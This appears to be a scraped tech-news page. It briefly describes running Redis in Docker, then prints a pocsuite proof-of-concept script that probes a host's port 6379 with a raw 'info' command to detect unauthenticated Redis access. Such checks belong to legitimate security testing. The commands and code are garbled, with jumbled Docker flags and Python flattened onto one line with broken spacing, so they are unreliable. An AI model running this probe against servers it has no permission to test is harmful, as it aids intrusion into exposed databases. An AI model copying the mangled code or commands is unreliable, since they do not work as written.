Shulou(Shulou.com)06/01 Report--

Docker search for Redis image docker search redis pull image to local docker pull redis view downloaded image docker images run image docker run-p 6379 docker search redis 6379-d redis

-p maps port 6379 of the container to port 6379 of the host.

-d will run the container in the background.

View the running image docker psPOC composition #! / usr/bin/env python#-*-coding: utf-8-*-import socketfrom pocsuite.utils import registerfrom pocsuite.poc import Output POCBaseclass TestPOC (POCBase): vulID ='0' version ='1' author = 'nw01f' vulDate =' 2018-10-23' createDate = '2018-10-23' updateDate =' 2018-10-23' references = ['http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/'] name =' Redis Unauthorized' appPowerLink = 'https://www.redis.io' appName' = 'Redis' appVersion =' All' vulType =''redis Unauthorized' samples = [''] def _ verify (self): result = {} payload ='\ x69\ x6e\ x66\ x6f\ x0d\ x0a' # info/r/n s = socket.socket () socket.setdefaulttimeout (4) try: Host = self.url.split (':') [1] .strip ('/') if len (self.url.split (':')) > 2: port = int (self.url.split (':') [2] .strip ('/') else: port = 6379 s.connect ((host) Port) s.send (payload) data = s.recv (1024) if data and 'redis_version' in data: result [' VerifyInfo'] = {} result ['VerifyInfo'] [' url'] = self.url result ['VerifyInfo'] [' port'] = port result ['VerifyInfo'] [ 'result'] = data [: 20] except Exception as e: print e s.close () return self.parse_attack (result) def _ attack (self): return self._verify () def parse_attack (self Result): output = Output (self) if result: output.success (result) else: output.fail ("error") return outputregister (TestPOC) reference link

Http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/

Welcome to subscribe "Shulou Technology Information " to get latest news, interesting things and hot topics in the IT industry, and controls the hottest and latest Internet news, technology news and IT industry trends.